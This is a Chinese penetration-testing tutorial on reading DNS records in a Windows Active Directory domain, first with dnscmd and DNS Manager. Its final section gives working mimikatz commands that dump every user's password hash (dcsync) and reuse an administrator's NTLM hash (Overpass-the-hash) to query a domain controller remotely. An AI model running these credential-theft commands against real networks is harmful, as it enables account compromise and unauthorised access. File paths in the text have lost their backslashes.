0x00 前言
在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS记录无疑是一个很好的参考。
本文将要介绍在域渗透中,获取DNS记录的常用方法。
0x01 简介
本文将要介绍以下内容:
· 通过DNS Manager获取DNS记录
· 通过dnscmd获取DNS记录
· 域内远程读取DNS记录的方法
0x02 通过DNS Manager获取DNS记录
测试系统:
· Windows Server 2008 R2 x64
选择Administrative Tools -> DNS。
在Forward Lookup Zones下找到当前域名,能够显示当前域内的DNS记录,包括主机名和对应的IP。
如下图:
![d5a3e9969deb44a5e3839d5770e171d3.png](https://i-blog.csdnimg.cn/blog_migrate/c2399e6794314cd4e735f62e8ae712ab.jpeg)
0x03 通过dnscmd获取DNS记录
dnscmd:
用来管理DNS服务器的命令行接口,支持远程连接。
默认安装的系统:
· Windows Server 2003
· Windows Server 2008
· Windows Server 2003 R2
· Windows Server 2008 R2
· Windows Server 2012
· Windows Server 2003 with SP1
…
参考资料:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)
Win7系统在使用时需要安装Remote Server Administration Tools (RSAT)
参考地址:
https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems
RSAT下载地址:
https://www.microsoft.com/en-us/download/details.aspx?id=7887
测试系统:
· Windows Server 2008 R2 x64
常用命令:
(1)列出DNS区域中当前节点的资源记录:
Dnscmd . /EnumZones
如下图:
![057c69222a892b2c65108d4114838e8a.png](https://i-blog.csdnimg.cn/blog_migrate/defbb22549b8eef288891e8b8d5f9f68.jpeg)
(2)列出http://test.com的信息:
Dnscmd . /ZoneInfo test.com
如下图:
![67d11ab86e24049a76a67da946395f7a.png](https://i-blog.csdnimg.cn/blog_migrate/8e2584130c00e5efc064e9903cd0fbcf.jpeg)
(3)列举http://test.com中的记录,方法1(更详细):
Dnscmd . /ZonePrint test.com
如下图:
![130336b692cd87ee41686f63d3e00031.png](https://i-blog.csdnimg.cn/blog_migrate/0d09516deac49e1b351e50cf2a0f9130.jpeg)
(4)列举http://testc.com的记录,方法2:
Dnscmd . /EnumRecords test.com .
如下图:
![6fa9c9ce7703c68c1f790ca47f25610e.png](https://i-blog.csdnimg.cn/blog_migrate/5de67614686324ab369bd4d5c0d68a37.jpeg)
结果同DNS Manager获取的记录一致。
0x04 域内远程读取DNS记录的方法
方法分析
前提需要获得域管理员的权限。
第一种方法是先远程连接域控制器,然后在域控制器上执行dnscmd获取DNS记录。
第二种方法是在域内一台主机上面,执行dnscmd远程读取DNS记录。
但是Win7系统默认不支持dnscmd,直接安装Remote Server Administration Tools (RSAT)也不现实。
于是,我尝试寻找在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd的方法。
方法测试
向未安装Remote Server Administration Tools (RSAT)的Win7系统上复制一个dnscmd.exe,直接执行,结果失败。
解决方法
通过Process Monitor记录dnscmd的执行过程,查看缺少哪些文件。
如下图:
![272a716de27b454a8021634538b89493.png](https://i-blog.csdnimg.cn/blog_migrate/8af73b1ca3309915e5afcd072b565dc2.jpeg)
发现缺少文件dnscmd.exe.mui。
补全缺少的文件,再次测试,最终找到解决方法。
在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:
1、dnscmd保存在路径C:WindowsSystem32下
2、dnscmd.exe.mui保存在C:WindowsSystem32en-US下(该位置比较通用,也可以在其他位置)
注:dnscmd和dnscmd.exe.mui使用Windows Server 2008 R2下的即可。
这里提供一个测试文件(我从Windows Server 2008 R2下获得的):
https://github.com/3gstudent/test/dnscmd.exe
https://github.com/3gstudent/test/dnscmd.exe.mui
注:
仅供测试。
由于dnscmd在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz的Overpass-the-hash。
首先需要获得域管理员用户的hash,这里只能用ntlm/rc4/aes128/aes256
如果获得了域管理员用户的明文口令,可以先将明文转为ntlm,在线加密的网站:
https://md5decrypt.net/en/Ntlm/
补充:使用dcsync获得域内所有用户hash的方法。
域控制器上执行mimikatz:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"
实际测试
测试环境的参数如下:
· 域管理员用户:Administrator
· 口令:DomainAdmin456!
· hash:A55E0720F0041193632A58E007624B40
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"
这样会弹出一个cmd.exe
接着使用dnscmd远程连接进行查询:
Dnscmd WIN-F08C969D7FM.test.com /EnumZones
or
Dnscmd WIN-F08C969D7FM /EnumZones
注:这里要使用FQDN或者计算机名。
如下图:
![1b282970d24d3e92c74f4147b1a83a4e.png](https://i-blog.csdnimg.cn/blog_migrate/28c5b6a6f4540e094d21a51a88eaf003.jpeg)
如果想在命令行下实现整个流程,可以采用如下方法:
新建c:test1.bat,内容如下:
Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:testout.txt
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:"cmd.exe /c c:test1.bat""
注:cmd.exe下"需要使用转义字符"
0x05 小结
本文介绍了在域内使用Overpass-the-hash实现dnscmd远程读取DNS记录的方法。
本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www. 4hou.com/technology/170 54.html 更多内容请关注“嘶吼专业版”——Pro4hou